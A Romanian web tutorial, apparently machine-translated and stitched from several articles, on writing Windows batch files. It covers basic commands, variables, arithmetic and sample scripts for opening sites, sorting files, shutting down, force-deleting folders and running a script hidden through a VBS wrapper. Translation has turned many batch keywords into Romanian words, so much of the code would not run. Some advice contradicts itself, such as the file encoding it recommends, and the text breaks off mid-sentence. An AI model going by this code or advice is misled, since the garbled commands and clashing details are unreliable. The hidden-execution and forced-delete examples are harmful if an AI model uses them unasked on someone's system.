Comenzi de bază. comenzile fișierului bat

Acasă / Avarii

Fișierele bat Windows sunt o modalitate convenabilă de a efectua diverse sarcini pe un computer, care este utilizat în mod activ de experții în computer. Acestea vă permit să automatizați sarcinile de zi cu zi, să le reduceți timpul de finalizare și să transformați un proces complex în ceva fezabil pentru utilizatorul obișnuit. Acest articol prezintă caracteristicile de bază fișiere batchși recomandări pentru a le scrie singur.

Automatizare simplificată

Cum se creează un fișier bat? Pentru a face acest lucru, trebuie să faceți următoarele:

  1. În orice editor de text, de exemplu, Notepad sau WordPad, creați un document text.
  2. Scrieți-vă comenzile în el, începând cu @echo , apoi (de fiecare dată pe o linie nouă) titlu [numele scriptului lot], echo [mesaj care va fi afișat pe ecran] și pauză.
  3. Salvați textul într-un document electronic cu extensia .bat (de exemplu, test.bat).
  4. Pentru a rula, faceți dublu clic pe fișierul batch nou creat.
  5. Pentru a-l edita, trebuie să faceți clic pe el clic dreapta mouse-ul și selectați „Schimbare” din meniul contextual.

Fișierul brut va arăta cam așa:

title Acesta este primul tău script de fișier bat!

echo Bun venit la scenariu procesare în lot!

Vom discuta mai detaliat comenzile fișierelor bat și utilizarea lor mai jos.

Pasul 1: Creați un script software

Să presupunem că un utilizator are adesea probleme cu rețeaua. Folosește în mod constant linia de comandă, tastând ipconfig și ping Google pentru a depana problemele de rețea. După un timp, utilizatorul își dă seama că ar fi mult mai eficient dacă ar scrie un fișier bat simplu, l-ar scrie pe unitatea sa USB și l-ar rula pe computerele pe care le diagnostica.

Crearea unui nou document text

Un fișier batch facilitează efectuarea de sarcini repetitive pe computer folosind promptul de comandă Windows. Mai jos este un exemplu de script responsabil pentru afișarea unui text pe ecran. Înainte de a crea un fișier bat, ar trebui să faceți clic dreapta pe un spațiu gol din director și să selectați „Creare”, apoi „Document text”.

Adăugarea codului

Făcând dublu clic pe acest nou document text, se va deschide editorul de text implicit. Puteți copia și lipi exemplul de cod de mai sus într-o intrare de text.

Economisire

Scriptul de mai sus afișează pe ecran textul „Bine ați venit la Scriptul de procesare în lot!”. Document electronic trebuie înregistrate selectând elementul de meniu editor de text„Fișier”, „Salvare ca”, apoi specificați numele fișierului bat dorit. Ar trebui completat cu o extensie .bat (de exemplu, welcome.bat) și faceți clic pe OK. Pentru afișare corectă Chirilic, în unele cazuri, trebuie să vă asigurați că ați ales codificarea corectă. De exemplu, atunci când utilizați o consolă rusificată sisteme Windows Documentul NT trebuie salvat în CP866. Acum ar trebui să faceți dublu clic pe comanda rapidă a fișierului bat pentru a o activa.

Dar pe ecran va apărea următorul mesaj:

„Bine ați venit la scriptul batch! Apăsați orice tastă pentru a continua...”

Dacă fișierul bat nu pornește, utilizatorii recomandă să mergeți la registru și să ștergeți cheia:

„HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.BAT\UserChoice”.

Nu credeți că asta este tot ceea ce pot face scripturile batch. Parametrii scriptului sunt versiuni modificate ale comenzilor din linia de comandă, astfel încât utilizatorul este limitat doar de capacitățile lor. Și sunt destul de extinse.

Pasul 2: Faceți cunoștință cu unele comenzi

Dacă un utilizator de PC este familiarizat cu cum să execute comenzile consolei DOS, atunci va fi un maestru în crearea de scripturi software, deoarece acestea sunt în aceeași limbă. Liniile din fișierele bat vor spune interpretului cmd.exe tot ceea ce este necesar de la acesta. Acest lucru economisește timp și efort. În plus, este posibil să se specifice o anumită logică (de exemplu, bucle simple, condiționale etc., care sunt similare conceptual cu programarea procedurală).

Comenzi încorporate

1. @echo este o comandă de fișier bat care vă va permite să vedeți scriptul rulând pe linia de comandă. Este folosit pentru a vizualiza progresul codului de producție. Dacă fișierul batch are probleme, această comandă va izola rapid problemele. Adăugarea face posibilă oprirea rapidă a execuției codului, evitând afișarea informațiilor inutile pe ecran.

2. Titlul oferă aceeași funcționalitate ca o etichetă în HTML, adică creează un antet pentru scriptul batch în fereastra liniei de comandă.</p><p>3. Apelul apelează un fișier bat dintr-un altul sau o subrutină dintr-un script. De exemplu, funcția de putere calculează puterea %2 din %1:</p><p>dacă %counter% gtr 1 (</p><p>setați /a contor-=1</p><p>endlocal & set result=%prod%</p><p><img src='https://i2.wp.com/syl.ru/misc/i/ai/324915/1862019.jpg' width="100%" loading=lazy loading=lazy></p><p>4. Cls curata <a href="https://ermake.ru/ro/osnovnye-cmd-komandy-prosto-o-poleznom-udalenie-katalogov/">linie de comandă</a>. Folosit pentru a se asigura că rezultatele anterioare ale codului străin nu interferează cu vizualizarea progresului scriptului curent.</p><p>5. Color setează fontul și culoarea de fundal. De exemplu, <a href="https://ermake.ru/ro/photoshop-kak-izmenit-cvet-obekta-komanda-zamenit-cvet-replace-color-v/">comanda culoare</a> f9 specifică litere albe pe un fundal albastru. O comandă fără parametru restabilește setările implicite.</p><p>6. Echo este folosit pentru a afișa informații, precum și pentru a activa (echo activat) sau dezactiva (echo off) o astfel de ieșire. De exemplu, comanda echo. imprimă o nouă linie fără punct și ecou . - punct. Fără parametri, comanda afișează informații despre starea sa curentă - echo activat sau echo off.</p><p>7. Rem oferă aceeași funcționalitate ca o etichetă<! в HTML. Такая строка не является частью выполняемого кода. Вместо этого она служит для пояснения и предоставления информации о нем.</p><p>8. Pauză vă permite să întrerupeți executarea comenzilor din fișierul bat. Acest lucru face posibilă citirea liniilor executate înainte de a continua programul. În acest caz, pe ecran este afișat mesajul „Pentru a continua, apăsați orice tastă...”.</p><p>9. Set vă permite să vizualizați sau să setați variabile de mediu. Cu comutatorul /p, comanda solicită utilizatorului introducerea și o salvează. Cu parametrul /a, vă permite să efectuați operații aritmetice simple, atribuind și rezultatul acestora unei variabile. Când efectuați operații cu șir, nu ar trebui să existe spații înainte sau după semnul egal. De exemplu, comanda set afișează o listă de variabile de mediu, set HOME afișează valorile argumentelor care încep cu „HOME” și set /p input=introduceți un număr întreg: solicită un număr întreg și îl atribuie variabilei corespunzătoare.</p><p>10. Porniți „” [site web] va lansa site-ul web specificat în browserul dvs. web implicit.</p><p>11. Dacă este folosit pentru a verifica o anumită condiție. Dacă este adevărat, atunci următoarea comandă este executată. Există 3 tipuri de condiții:</p><ul><li>ERRORLEVEL number - verifică codul de completare al ultimei instrucțiuni executate pentru a vedea dacă se potrivește sau depășește numărul specificat. În acest caz, 0 indică finalizarea cu succes a sarcinii, iar orice alt număr, de obicei pozitiv, indică o eroare. De exemplu, puteți utiliza comenzi imbricate pentru a identifica codul de ieșire: dacă a apărut eroarea de nivel 3, dacă nu de nivelul de eroare 4, a apărut eroarea #3.</li><li>Line1 == line2 - se verifică dacă două șiruri de caractere se potrivesc. De exemplu, dacă nu există niciun parametru extern, comanda if "%1"= ="" goto ERROR va transfera controlul etichetei ERROR.</li><li>EXIST name - verifică existența unui fișier cu numele specificat. De exemplu, dacă nu există A:\program.exe COPIEAZĂ C:\PROJECTS\program.exe A: copiează program.exe în unitatea A dacă nu este acolo.</li> </ul><p>12. Else trebuie să fie pe aceeași linie cu comanda If. Indică faptul că următoarea instrucțiune trebuie să fie executată dacă expresia este evaluată ca fals.</p><p><img src='https://i2.wp.com/syl.ru/misc/i/ai/324915/1862021.jpg' width="100%" loading=lazy loading=lazy></p><p>13. For este folosit pentru a repeta anumite acțiuni pe fiecare membru al unei liste. Are formatul pentru %%argument în comanda (listă) do. Argumentul poate fi orice literă de la A la Z. Lista este o secvență de șiruri separate prin spații sau virgule. Pot fi folosite și caractere joker. De exemplu:</p><ul><li>pentru %%d în (A, C, D) face DIR %%d - afișează secvențial directoarele unităților A, C și D;</li><li>pentru %%f în (*.TXT *.BAT *.DOC) faceți TYPE %%f - imprimă conținutul tuturor fișierelor .txt-, .bat- și .doc-din directorul curent;</li><li>pentru %%P în (%PATH%) dacă există %%P\*.BAT COPY %%P\*.BAT C:\BAT - copiează toate fișierele batch care există în toate directoarele rutei de căutare în C: \ folderul WAT.</li> </ul><p>14. Cu două puncte (:) înainte ca un cuvânt formează o legătură de la acesta, ceea ce vă permite să săriți peste o parte <a href="https://ermake.ru/ro/osnovnye-vozmozhnosti-optimizacii-koda-programmistom-i-kompilyatorom/">codul programului</a> sau du-te înapoi. Folosit cu comenzile Call și Goto, indicând din ce punct execuția fișierului bat ar trebui să continue, de exemplu, când este îndeplinită o anumită condiție:</p><p>15. Variabile:</p><ul><li>%%a reprezintă fiecare fișier din folder;</li><li>%CD% - directorul curent;</li><li>%DATE% - <a href="https://ermake.ru/ro/destiny-1-trebovaniya-sistemnye-trebovaniya-destiny-daty-otkrytiya-kontenta/">data sistemului</a>, al cărui format depinde de localizare;</li><li>%TIME% - <a href="https://ermake.ru/ro/debian-sistemnoe-vremya-nekorrektnoe-vremya-na-ubuntu-ili-debian---problemy-s-ntp/">ora sistemului</a> sub forma HH:MM:SS.mm.;</li><li>%RANDOM% - număr pseudo-aleatoriu generat în intervalul de la 0 la 32767;</li><li>%ERRORLEVEL% - codul de ieșire returnat de ultima comandă executată sau de scriptul bat.</li> </ul><p>Puteți extrage o parte dintr-un șir conținut într-o variabilă, având în vedere poziția și lungimea acesteia, astfel:</p><p>%[variabilă]:~[început],[lungime]%. De exemplu, puteți afișa o dată în formatul ZZ/LL/AAAA ca AAAA-LL-ZZ astfel: echo %DATE:~6,4%-%DATE:~3,2%-%DATE:~0,2%.</p><p>16. ("". \") - folder rădăcină. Când lucrați cu consola, înainte de a schimba numele fișierului, de a-l șterge etc., trebuie să direcționați acțiunea comenzii către un anume director. Când utilizați un fișier batch, rulați-l în orice director dorit.</p><p>17. %cifră - acceptă valorile parametrilor trecuți de utilizator în fișierul bat. Pot fi separate prin spații, virgule sau două puncte. O „cifră” este un număr între 0 și 9. De exemplu, %0 ia valoarea comenzii curente. %1 se potrivește cu primul parametru etc.</p><p>18. Shift - comandă folosită pentru a schimba parametrii de intrare cu o poziție. Folosit atunci când argumentele externe sunt transmise fișierului batch. De exemplu, următorul fișier bat copiază fișierele specificate ca parametri pe linia de comandă pentru unitatea D:</p><p>dacă nu (%1)==() mergi la următorul</p><p>În plus, puteți efectua următoarele manipulări cu argumentele:</p><ul><li>%~ - elimina ghilimelele din jur;</li><li>%~f - extinde parametrul la numele complet al căii împreună cu numele unității;</li><li>%~d - arată numele discului;</li><li>%~p - afișează doar calea;</li><li>%~n - selectați doar numele fișierului din parametru;</li><li>%~x - lăsați doar extensia;</li><li>%~s - convertiți calea într-o reprezentare cu nume scurte;</li><li>%~a - extrage atributele fișierului;</li><li>%~t - afișează data și ora creării;</li><li>%~z - afișează dimensiunea fișierului;</li><li>%~$PATH: - caută directoarele listate în <a href="https://ermake.ru/ro/kak-vyvesti-znacheniya-vseh-peremennyh-okruzheniya-v-windows-peremennye-v-php/">variabila de mediu</a> PATH și extinde parametrul la primul nume complet calificat găsit sau returnează un șir gol la eșec.</li> </ul><p><img src='https://i0.wp.com/syl.ru/misc/i/ai/324915/1862020.jpg' width="100%" loading=lazy loading=lazy></p><h2>Wildcards</h2><p>Multe comenzi acceptă modele de nume de fișiere - caractere care vă permit să potriviți un grup de nume de fișiere. Wildcardurile includ:</p><ul><li>* (asterisc) - denotă orice succesiune de caractere;</li><li>? (semnul de întrebare) - înlocuiește unul (sau 0) caracter, altul decât un punct (.).</li> </ul><p>De exemplu, comanda dir *.txt afișează o listă de fișiere txt, iar dir ???.txt afișează o listă <a href="https://ermake.ru/ro/kak-zakinut-tekstovyi-dokument-na-aifon-sohranenie-dokumenta-v/">documente text</a>, a cărui lungime a numelui nu depășește 3 litere.</p><h2>Funcții</h2><p>La fel ca subrutinele, acestea sunt emulate folosind comenzile call, setlocal, endlocal și label. Următorul exemplu demonstrează posibilitatea definirii unei variabile în care rezultatul este stocat pe linia de apel:</p><p>call:sy result=world</p><p><img src='https://i1.wp.com/syl.ru/misc/i/ai/324915/1862022.jpg' width="100%" loading=lazy loading=lazy></p><h2>Calcule</h2><p>În fișierele bat, puteți efectua operații aritmetice simple pe numere întregi și biți de 32 de biți folosind comanda set /a. Numărul maxim acceptat este 2^31-1 = 2147483647, iar cel minim este -(2^31) = -2147483648. Sintaxa amintește de limbajul de programare C. Operatorii aritmetici includ: *, /, %, +, -. În fișierul bat, % (restul unei diviziuni întregi) trebuie introdus ca „%%”.</p><p>Operatorii de numere binari interpretează numărul ca o secvență de 32 de biți. Acestea includ: ~ (NU sau complement), & (ȘI), | (SAU), ^ (SAU exclusiv),<< (сдвиг влево), >> (schimba la dreapta). Operatorul logic de negație este! (semnul exclamării). Se schimbă de la 0 la 1 și o valoare diferită de zero la 0. Operatorul de combinație este (virgulă), care permite efectuarea mai multor operații într-o singură comandă setată. Operatorii de atribuire combinați += și -= în expresiile a+=b și a-=și corespund expresiilor a=a+b și a=a-b. *=, %=, /=, &=, |=, ^=, >>=, funcționează în același mod.<<=. Приоритет операторов следующий:</p><p>(); %+-*/; >>, <<; &; ^; |; =, %=, *=, /=, +=, -=, &=, ^=, |=, <<=, >>=; ,</p><p>Literale pot fi introduse ca numere zecimale, hexazecimale (cu 0x înainte) și octale (cu zero înainte). De exemplu, setați /a n1=0xffff atribuie lui n1 o valoare hexazecimală.</p><h2>Comenzi externe</h2><ul><li>Exit este folosit pentru a ieși din consola DOS sau (cu opțiunea /b) numai fișierul bat sau rutina curentă.</li><li>Ipconfig este o comandă clasică de consolă care afișează informații despre rețea. Include adrese MAC și IP și măști de subrețea.</li><li>Ping trimite ping la o adresă IP, trimițându-i pachete de date pentru a estima distanța și latența (răspuns). De asemenea, folosit pentru a seta o pauză. De exemplu, comanda ping 127.0.01 -n 6 întrerupe execuția codului timp de 5 secunde.</li> </ul><p>Biblioteca de comenzi din fișierele bat este imensă. Din fericire, există multe pagini pe web care le listează pe toate, împreună cu variabile de script în lot.</p><p><img src='https://i1.wp.com/syl.ru/misc/i/ai/324915/1862017.jpg' width="100%" loading=lazy loading=lazy></p><h2>Pasul 3: Scrieți și rulați fișierul bat</h2><p>Următorul script vă va ușura activitatea zilnică online. Ce se întâmplă dacă doriți să deschideți instantaneu toate site-urile de știri preferate? Deoarece scripturile folosesc comenzi din consolă, puteți crea un script care deschide fiecare flux de știri într-o singură fereastră de browser.</p><p>Apoi, ar trebui să repetați procesul de creare a unui fișier bat, începând cu un document text gol. Pentru a face acest lucru, trebuie să faceți clic dreapta pe un spațiu gol din orice folder și să selectați „Nou”, apoi „Document text”. După deschiderea fișierului, trebuie să introduceți următorul script, care lansează principalele medii în limba rusă disponibile pe Internet:</p><p>începe "" http://fb.ru</p><p>începe "" http://www.novayagazeta.ru</p><p>începe "" http://echo.msk.ru</p><p>începe "" http://www.kommersant.ru</p><p>începe "" http://www.ng.ru</p><p>începe "" http://meduza.io</p><p>începeți „” https://news.google.com/news/?ned=ru_ru&hl=ru</p><p>Acest script conține comenzile de pornire „”, care deschid mai multe file. Puteți înlocui linkurile sugerate cu oricare altele la alegere. După ce ați introdus scriptul, mergeți la meniul „Fișier” al editorului, apoi la „Salvare ca...” și scrieți documentul cu extensia .bat, schimbând parametrul „Tip fișier” în „Toate fișierele” (* . *).</p><p>După salvare, pentru a rula scriptul, faceți dublu clic pe el. Paginile web vor începe instantaneu să se încarce. Dacă doriți, puteți plasa acest fișier pe desktop. Acest lucru vă va permite să accesați instantaneu toate site-urile dvs. preferate.</p><h2>Organizator</h2><p>Dacă descărcați mai multe fișiere pe zi, în curând sute dintre ele se vor acumula în folderul „Descărcări”. Puteți crea un script care le va organiza după tip. Doar plasați fișierul .bat cu programul în folderul cu date neorganizate și faceți dublu clic pentru a rula:</p><p>rem Fiecare fișier din folder</p><p>pentru %%a în ("".\*") face (</p><p>rem verifica prezența unei extensii și neaparținerea acestui script</p><p>dacă "%%~xa" NEQ "" dacă "%%~dpxa" NEQ "%~dpx0" (</p><p>rem verificați prezența unui folder pentru fiecare extensie și, dacă nu este acolo, creați-l</p><p>dacă nu există „%%~xa” mkdir „%%~xa”</p><p>rem mutați fișierul în folder</p><p>mutați „%%a” „%%~dpa%%~xa\”</p><p>Ca rezultat, fișierele din directorul „Descărcări” sunt sortate în foldere ale căror nume corespund extensiei lor. Este atât de simplu. Acest script batch funcționează cu orice tip de date, fie el un document, video sau audio. Chiar dacă computerul nu le acceptă, scriptul va crea în continuare un folder cu eticheta corespunzătoare. Dacă există deja un director JPG sau PNG, programul va muta pur și simplu fișierele cu această extensie acolo.</p><p>Aceasta este o demonstrație simplă a ceea ce pot face scripturile batch. Ori de câte ori o sarcină simplă trebuie făcută din nou și din nou, fie că este vorba de organizarea fișierelor, deschiderea mai multor pagini web, redenumirea în bloc sau realizarea de copii ale documentelor importante, un script în lot vă poate ajuta să finalizați treaba obositoare în câteva clicuri.</p> <i> </i> <p>Utilizarea unei interfețe grafice în sistemele de operare astăzi pare a fi ceva de la sine înțeles și complet natural, dar nu a fost întotdeauna cazul. Primul sistem de operare, MS DOS, dezvoltat de Microsoft, nu avea GUI și era controlat prin introducerea de comenzi text. Au trecut aproape 40 de ani de atunci, dar limbajul de scriptare în linia de comandă este încă popular și nu numai în rândul dezvoltatorilor.</p> <p>Linia de comandă nu este atât de convenabilă, dar cu ajutorul ei puteți efectua operațiuni care nu sunt posibile din GUI. Pe de altă parte, lansarea consolei de fiecare dată, introducerea comenzilor în ea una după alta - toate acestea încetinesc foarte mult munca. Cu toate acestea, puteți simplifica în mod semnificativ sarcina creând un fișier bat sau pur și simplu un fișier batch - un fișier text cu extensia BAT care conține o listă de instrucțiuni procesate de interpretul de comandă CMD. Astfel de fișiere sunt folosite pentru a automatiza diverse sarcini, de exemplu, pentru a șterge fișiere temporare într-un program sau pentru a lansa programe.</p> <h2><span>Cum se creează un fișier cu extensia BAT</span></h2> <p>Deci, cum se creează un fișier bat în Windows 7/10? Foarte simplu. Pentru a face acest lucru, veți avea nevoie de orice editor de text și cunoștințe despre elementele de bază ale liniei de comandă. Puteți folosi Notepad, sau și mai bine, Notepad++, deoarece acesta din urmă are evidențiere de sintaxă. Creați în editor <a href="https://ermake.ru/ro/nano-kak-sohranit-izmeneniya-kak-v-linux-polzovatsya-nano-tekstovyi-redaktor-nano/">fișier nou</a>, în meniul „Fișier”, selectați „Salvare ca”, dați un nume viitorului script, iar în lista derulantă „Tip de fișier”, selectați „Fișier lot (*bat; *cmd; *nt)”.</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-2.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Dacă doriți să utilizați Notepad pentru a crea un fișier bat, trebuie să atribuiți manual extensia și să selectați „Toate fișierele” din lista „Tip de fișier”.</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-3.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>După cum puteți vedea, crearea unui fișier cu extensia bat nu este dificilă, cu toate acestea, există câteva subtilități; Întreruperile de linie nu pot fi utilizate în fișierele de comandă; codarea fișierului bat trebuie setată la UTF-8 dacă corpul scriptului folosește codul chirilic;</p> <p>În loc de extensia BAT, puteți folosi CMD, rezultatul executării scriptului va fi exact același.</p> <h2><span>Comenzi de bază, sintaxă și exemple de utilizare a fișierelor batch</span></h2> <p>Știi cum să faci un fișier bat, acum este timpul pentru partea cea mai interesantă, și anume sintaxa limbajului de interpret CMD. Este clar că un fișier batch gol nu va funcționa, nici măcar nu se va lansa când dai dublu clic pe el. Pentru ca scriptul să funcționeze, cel puțin o comandă trebuie să fie scrisă în el. Pentru un exemplu vizual, să vedem cum să scrieți un fișier bat pentru a lansa programe. Să presupunem că atunci când începi să lucrezi, lansezi trei programe de fiecare dată - Chrome, Firefox și VLC. Să simplificăm sarcina prin crearea unui script care va lansa aceste programe în sine la intervale de cinci secunde.</p> <p>Deschideți un fișier batch gol și inserați următoarele comenzi în el:</p><p>Porniți "" "C:/Program Files/Google/Chrome/Application/chrome.exe" timeout /t 05 start "" "C:/Program Files/Mozilla Firefox/firefox.exe" timeout /t 05 start "" "C :/Fișiere de program/VideoLAN/VLC/vlc.exe”</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-4.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Echipă <b>început</b> lansează fișierul executabil al programului dorit și comanda <b>timeout/t</b> stabilește intervalul dintre porniri. Atenție la plasarea ghilimelelor - acestea conțin căi care conțin spații. De asemenea, dacă există caractere chirilice în cale, ar trebui să inserați o comandă care modifică codificarea la începutul scriptului <b>chcp 1251</b>, altfel interpretul nu va putea citi corect calea.</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-5.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Când rulați scriptul, patru ferestre de consolă vor fi deschise secvențial, acesta este un fenomen normal după executarea comenzilor, toate se vor închide automat, totuși, puteți face astfel încât să se deschidă doar prima fereastră; Pentru a face acest lucru, codul de lansare a aplicației ar trebui modificat după cum urmează:</p><p>Start /b "" "cale"</p><p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-6.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>De asemenea, se poate întâmpla ca la un moment dat să fie necesară întreruperea execuției scriptului, astfel încât utilizatorul să poată decide dacă execută sau nu toate celelalte comenzi. Există o comandă pentru asta <b>pauză</b>. Încercați să înlocuiți timeout cu el și vedeți ce se întâmplă.</p><p>Start /b "" "cale" pauză</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-7.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Să ne uităm la un alt exemplu de comenzi pentru un fișier bat. Să scriem un script care va opri computerul într-un caz și îl va reporni în altul. În aceste scopuri vom folosi comanda <b>închidere</b> cu parametrii <b>/s</b>, <b>/r</b>Şi <b>/t</b>. Dacă doriți, puteți adăuga o solicitare de a efectua o acțiune în fișierul dvs. corporal, astfel:</p><p>@echo off chcp 1251 echo "Sunteți sigur că doriți să opriți computerul?" întrerupeți oprirea /s /t 0</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-8.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-9.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Să explicăm. Prima comandă ascunde textul comenzilor în sine, a doua - setează codarea chirilică, a treia - afișează un mesaj pentru utilizator, a patra - setează o pauză, a cincea - se oprește și cu tasta <b>/r</b>în loc de <b>/s</b> repornește computerul fără întârzierea tradițională de un minut. Dacă nu doriți să participați la ceremonie cu cereri și pauze, puteți lăsa doar a cincea comandă.</p> <p>Dacă în loc de text rusesc când executați comanda vedeți kryakozyabra, încercați să convertiți fișierul script în ANSI.</p> <p>Ce altceva poți face cu scripturile? O mulțime de lucruri, de exemplu, ștergerea, copierea sau mutarea fișierelor. Să presupunem că aveți un anumit folder de date în rădăcina unității D, al cărui conținut trebuie șters dintr-o singură lovitură. Deschideți fișierul batch și inserați următoarea comandă în el:</p><p>Del /A /F /Q "D:/data"</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-10.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Sau poți face asta:</p><p>Forfiles /p "D:/data" /s /m *.* /c "cmd /c Del @path"</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-11.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Spre deosebire de prima, a doua comandă șterge fișierele recursiv, adică toate fișierele din folderul de date vor fi șterse plus cele aflate în subdirectoare.</p> <p>Iată un alt exemplu util. Să scriem un script care va crea o copie de rezervă a conținutului unui folder și va salva datele în altul. Comanda este responsabilă pentru copiere <b>robocopie</b>:</p><p>Robocopy C:/data D:/backup /e pauză</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-12.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Prin rularea unui astfel de fișier batch pentru execuție, veți copia întregul conținut al folderului de date în folderul de rezervă, inclusiv subdirectoarele, goale și cu fișiere. Apropo, comanda robocopy are mulți parametri care vă permit să configurați parametrii de copiere foarte flexibil.</p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-13.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <h2><span>Rulați fișierele bat ca administrator și într-un program, lansare ascunsă a liliecilor</span></h2> <p>Acum știți cum să creați fișiere batch și aveți o înțelegere generală a limbajului de interpret CMD. Acestea au fost elementele de bază, acum este timpul să vă familiarizați cu câteva caracteristici utile de lucru cu fișierele bat. Se știe că programele necesită drepturi de administrator pentru a efectua unele acțiuni. Batnikii ar putea avea nevoie și de ele. Cel mai evident mod de a rula un script ca administrator este să faceți clic dreapta pe el și să selectați opțiunea corespunzătoare din meniul contextual.</p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-14.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>În plus, vă puteți asigura că un anumit fișier batch va fi întotdeauna lansat cu privilegii ridicate. Pentru a face acest lucru, trebuie să creați o comandă rapidă obișnuită către un astfel de script, să deschideți proprietățile acestuia, să faceți clic pe butonul „Avansat” și să bifați caseta de selectare „Run ca administrator” în fereastra care se deschide. Această metodă este, de asemenea, bună, deoarece vă permite să selectați orice pictogramă pentru scurtătură, în timp ce un fișier cu o extensie BAT sau CMD va avea întotdeauna un aspect nedescriptiv.</p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-15.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Scripturile, ca toate aplicațiile, pot fi lansate într-un program. Echipă <b>timeout/t</b> nu este pe deplin adecvat aici pentru lansarea întârziată, cel mai bine este să utilizați Programul de activități Windows încorporat. Totul este simplu aici. Deschide cu comanda <b>taskschd.msc</b> Scheduler, decideți asupra declanșatorului, selectați acțiunea „Run program” și specificați calea către fișierul bat. Asta e tot, scriptul va fi lansat la ora programată.</p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-16.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-17.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-18.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-19.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-20.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Și în sfârșit, încă un punct interesant. Când rulați un fișier bat, pe ecran apare o fereastră de linie de comandă, chiar dacă doar pentru o fracțiune de secundă. Este posibil ca scriptul să ruleze în modul ascuns? Este posibil și în mai multe moduri. Cel mai simplu este după cum urmează. Creați o comandă rapidă pentru fișierul bat, deschideți proprietățile acestuia și selectați „Restrâns la pictogramă” din meniul „Fereastră”. După aceasta, singurul semn vizibil al rulării scriptului va fi apariția pictogramei CMD pe bara de activități, dar nu se va deschide nicio fereastră.</p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-21.jpg' align="center" height="651" width="510" loading=lazy loading=lazy></p> <p>Dacă doriți să ascundeți complet execuția scriptului, puteți utiliza o „cârjă” - scriptul VBS, care va lansa fișierul batch în modul ascuns. Textul scriptului este mai jos, salvați-l într-un fișier <b>ascuns.vbs</b>, după ce a înlocuit anterior calea din a doua linie de cod <i>D:/script.bat</i> calea către fișierul corporal.</p><p>Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" & Chr(34), 0 Set WshShell = Nimic</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-22.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Există și alte opțiuni, de exemplu, utilizarea utilitarului <b>Început ascuns</b>, care vă permite să rulați fișiere executabile și batch în modul ascuns, inclusiv fără invitație.</p> <p>Și asta e tot deocamdată. Informații privind crearea scripturilor BAT pot fi găsite cu ușurință pe Internet. De asemenea, este o idee bună să consultați tutorialul pentru linia de comandă Microsoft Windows al lui William Stanek. În ciuda faptului că au trecut mai bine de zece ani de la publicarea cărții, informațiile conținute în ea sunt încă relevante.</p> <p>În acest articol ne vom uita la un lucru atât de util ca „ <b>fișier batch</b>" Să definim mai întâi ce este un fișier bat. Fișierele batch sau batch sunt fișiere text simple care conțin seturi de comenzi ( <i>instrucţiuni</i>) interpret și având extensia bat sau cmd ( <i>cmd funcționează numai în sistemele de operare din familia NT</i>). Puteți crea și edita astfel de fișiere folosind un blocnotes obișnuit sau orice alt editor de text.</p> <p>Acum vă puteți întreba, de ce trebuie să puteți scrie astfel de fișiere bat? Și de ce sunt necesare? Voi încerca să explic.</p> <p>În primul rând, ele sunt folosite pentru a ușura munca, de exemplu. de exemplu, trebuie să efectuați în mod constant unele operații în fiecare zi ( <i>de exemplu, creați o arhivă a anumitor documente</i>), cu ajutorul unui fișier de corp, acesta poate fi automatizat și nu veți mai participa la el.</p> <p>În al doilea rând, aceste fișiere batch sunt foarte puternice ( <i>dacă, desigur, știi să le scrii</i>), adică Puteți chiar să scrieți un program bun ( <i>Adică din punct de vedere al funcționalității</i>). Personal, mă ajută foarte mult în munca mea și pur și simplu am uitat de unele lucruri când le-am făcut manual.</p> <p>Acum să trecem direct la elementele de bază ale acestor fișiere batch. Cum sunt create Trebuie doar să creați un document text simplu, să îl deschideți și să accesați imediat fila „ <i>Fișier->salvare 